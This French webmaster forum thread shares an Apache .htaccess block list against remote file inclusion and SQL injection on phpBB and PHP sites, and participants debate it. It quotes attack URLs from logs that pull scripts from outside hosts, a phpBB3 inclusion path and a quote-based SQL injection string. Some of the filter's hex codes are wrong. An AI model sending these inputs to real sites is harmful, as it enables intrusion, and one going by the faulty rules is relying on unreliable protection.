J'ai protégé mon site avec .htaccess

Nouveau WRInaute
Bonjour,

Je mets ce message pour que vous puissiez protéger votre site et pour ne pas dégoutter les personnes d'ouvrir des sites face aux hackers.

L'avantage avec cette solution est que le hacker est stoppé par le serveur apache. :lol:

Avec la mise en place de CrackerTracker pour le forum phpbb, j'ai constaté la présence dans les logs d'instruction de ce type :
/forum/viewforum.php?f=http://amyru.h18.ru/images/cs.txt
/forum/viewforum.php?f=http%3A%2F%2Fwww.channelnewsperu.com%2Fimagenes%2Fpublicaciones%2Ffotos%2Femesuki%2Fohuhud
En analysant les scripts qui sont transmis via http:// ... on s'aperçoit que ces scripts sont construits pour prendre la main sur les données sensibles de n'importe quel site (mot de passe de base de données, téléchargement de fichiers source en C ou en perl avec compilation de ceux ci, etc ...).

Ensuite, on trouve aussi des requetes comportant des caractères qui ne sont jamais transmis en temps normal :
[ (%5B) pour faire par exemple [1]
% (%25) pour ajouter une apostrophe dans la requete transmis %27
; (%3B) pour séparer plusieurs instructions en php, javascript, ...


Je vous livre mon fichier .htaccess qui protège l'ensemble de mon site contre ce type d'attaque. Ce fichier peut être complété et amélioré. Mais pour le moment, ça marche depuis plus 1 an.

Code:
RewriteEngine on

# ..... http
RewriteCond %{QUERY_STRING} ^(.*)http [NC]
RewriteRule ^(.*) - [F]

# ..... http (%68 %74 %74 %70) h
RewriteCond %{QUERY_STRING} ^(.*)%68 [NC]
RewriteRule ^(.*) - [F]

# ..... http (%68 %74 %74 %70) t
RewriteCond %{QUERY_STRING} ^(.*)%74 [NC]
RewriteRule ^(.*) - [F]

# ..... http (%68 %74 %74 %70) p
RewriteCond %{QUERY_STRING} ^(.*)%70 [NC]
RewriteRule ^(.*) - [F]

# ..... HTTP (%48 %84 %84 %80) H
RewriteCond %{QUERY_STRING} ^(.*)%48 [NC]
RewriteRule ^(.*) - [F]

# ..... HTTP (%48 %84 %84 %80) T
RewriteCond %{QUERY_STRING} ^(.*)%84 [NC]
RewriteRule ^(.*) - [F]

# ..... HTTP (%48 %84 %84 %80) P
RewriteCond %{QUERY_STRING} ^(.*)%80 [NC]
RewriteRule ^(.*) - [F]


# ..... ftp (%66 %74 %74 %70)
RewriteCond %{QUERY_STRING} ^(.*)ftp [NC]
RewriteRule ^(.*) - [F]

# ..... ftp (%66 %74 %74 %70) f
RewriteCond %{QUERY_STRING} ^(.*)%66 [NC]
RewriteRule ^(.*) - [F]

# ..... FTP (%46 %84 %84 %80) F
RewriteCond %{QUERY_STRING} ^(.*)%46 [NC]
RewriteRule ^(.*) - [F]

# .... include                                                      
RewriteCond %{QUERY_STRING} ^(.*)include [NC]
RewriteRule ^(.*) - [F]

# ..... wget
RewriteCond %{QUERY_STRING} ^(.*)wget [NC]
RewriteRule ^(.*) - [F]

# ....... %2B (+)
RewriteCond %{QUERY_STRING} ^(.*)%2B [NC]
RewriteRule ^(.*) - [F]

# ....... %25 (%)
RewriteCond %{QUERY_STRING} ^(.*)%25 [NC]
RewriteRule ^(.*) - [F]

# ....... %3B (;)
RewriteCond %{QUERY_STRING} ^(.*)%3B [NC]
RewriteRule ^(.*) - [F]

# ....... %28 ( 
RewriteCond %{QUERY_STRING} ^(.*)%28 [NC] 
RewriteRule ^(.*) - [F] 

# ....... %29 ( 
RewriteCond %{QUERY_STRING} ^(.*)%29 [NC] 
RewriteRule ^(.*) - [F]

# ....... %5B ([)
RewriteCond %{QUERY_STRING} ^(.*)%5B [NC]
RewriteRule ^(.*) - [F]

# ....... ' (')
RewriteCond %{QUERY_STRING} ^(.*)' [NC]
RewriteRule ^(.*) - [F]

# ........... agent : libwww
RewriteCond %{HTTP_USER_AGENT} ^(.*)libwww [NC]
RewriteRule ^(.*) - [F]

L'inconveniant de cette protection est quelle vous bloque toutes les requetes comportant la chaine http ou ftp.

Ceci est une petite contribution, je ne savais pas où la mettre pour vous en faire profiter.
voilà.
 
Nouveau WRInaute
On peut rajouter ces lignes
Code:
# ....... %28 (
RewriteCond %{QUERY_STRING} ^(.*)%28 [NC]
RewriteRule ^(.*) - [F]

# ....... %29 (
RewriteCond %{QUERY_STRING} ^(.*)%29 [NC]
RewriteRule ^(.*) - [F]
évitant cette instruction
forum/profile.php?mode=register&agreed=true+Result:+captcha+recognized;registered+%28registering+only+mode+is+ON%29;
 
WRInaute occasionnel
Ok ok .. je suis désolé ^^

en fait, je ne suis pas sur qu'utiliser le .htaccess et donc les redirections serveur ne soit une bonne idée.

Pour ce qui est de la sécurité, il me parait nécessaire de vérifier que l'application présente ne comporte pas de faille permettant l'injection de code ou de requete SQL ou autres fichiers infectés.

d'autant que normalement, si le serveur est correctement configuré, toutes ces requetes retourneront une 404 bien de chez nous.

Bref, désolé pour mon intervention peut-être un peu difficile :) l'intention de ta part est tout de même louable :)

P.S. : Ces règles ne sont valables que pour un forum PhpBB si j'ai bien compris ?
 
Nouveau WRInaute
Kaliiii a dit:
P.S. : Ces règles ne sont valables que pour un forum PhpBB si j'ai bien compris ?

Pas seulement pour le forum phpbb, mais aussi pour les scripts php (sondage, newsletter, chat et gallerie). Ce sont les scripts qui sont actuellement protégés par ça. Et aussi mes scripts persos; comme je suis nul dans la création des scripts blindés, comme ça je suis mieux protégé que si je ne fait rien.

Kaliiii a dit:
d'autant que normalement, si le serveur est correctement configuré, toutes ces requetes retourneront une 404 bien de chez nous.
Certes si le serveur est bien configuré.
Je préfére assurer la protection de mon site plutôt de m'appuyer sur une sécurité éventuelle du serveur.
Je pense aux nombreux sites qui se sont fait hacker ou pirater, ils devaient penser comme toi "le serveur est bien configuré, donc je ne serai pas piraté".

Je pense qu'ici tout le monde connait le mode opératoire des hackers de tout poil.

Moi, malheureusement j'ai découvert ça tout seul. J'ai trouvé une parade qui permet de protéger la totalité de mon site en amont de tout script. J'aurais trés bien pu ne rien dire et laisser les webmasters en herbe ou pas se débrouiller tout seul, de courrir aprés tous leurs scripts et d'essayer de les protéger par eux mêmes, ...

Mais je ne suis pas comme ça.

Je voudrais que ce type de mode opératoire soit diffusé, que l'on trouve des parades efficaces afin qu'il y ait de beaucoup plus de sites protégés simplement.

Si ce post permet de faire en sorte qu'il y ai moins de sites piratés, personnelement je serai content. Je pourrais me dire que j'ai apporté quelque chose.
 
WRInaute impliqué
Kaliiii a dit:
L'inconveniant de cette protection est quelle vous bloque toutes les requetes comportant la chaine http ou ftp.

loooooooooool :lol:

Pourquoi lol?

Peut etre ne connais tu pas bien ce que contient QUERY_STRING ?

C'est la partie de la requete après un point d'interrogation.

Ca t'arrive souvent de faire des requetes de la forme suivante?

-http://www.unsite.com/chemin/page.php?http://xxxx

C'est la présence du deuxième http qui est interdite, pas le premier évidemment.

pareil pour ftp.
 
WRInaute impliqué
De rien! :D

Cela dit, c'est vrai qu'il y a des sites où on rentre une URL complete en paramètre, par exemple tous les sites qui donnent le rang sur une requête google...

Mais on s'éloigne du sujet...
 
Nouveau WRInaute
Oui, c'est vrai.

Mais dans ce cas de site, ils mettent en place les sécurité sur leurs scripts.

Perso, je ne gére pas ce type de sites.

Si les gens ont un blog, forum, joomla, ... je pense qu'ils auront besoin de cela.
Et puis rien ne les empeche d'essayer.

d'ailleurs dans joomla, il y a un fichier htaccess qui est fourni pour pallier une faille. Pourquoi faire qu'une faille, alors qu'il y en a tant d'autres.
 
Nouveau WRInaute
A première vue, il existe une faille dans les scripts du forum phpbb3 :
authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=http://....
 
Nouveau WRInaute
Je rajoute au fichier
Code:
# ....... ' (')
RewriteCond %{QUERY_STRING} ^(.*)' [NC]
RewriteRule ^(.*) - [F]

ça bloque l'exploit SQL injection de ce type :

/forum/index.php?sid=27da'OR'a'='a'
 
Discussions similaires
Haut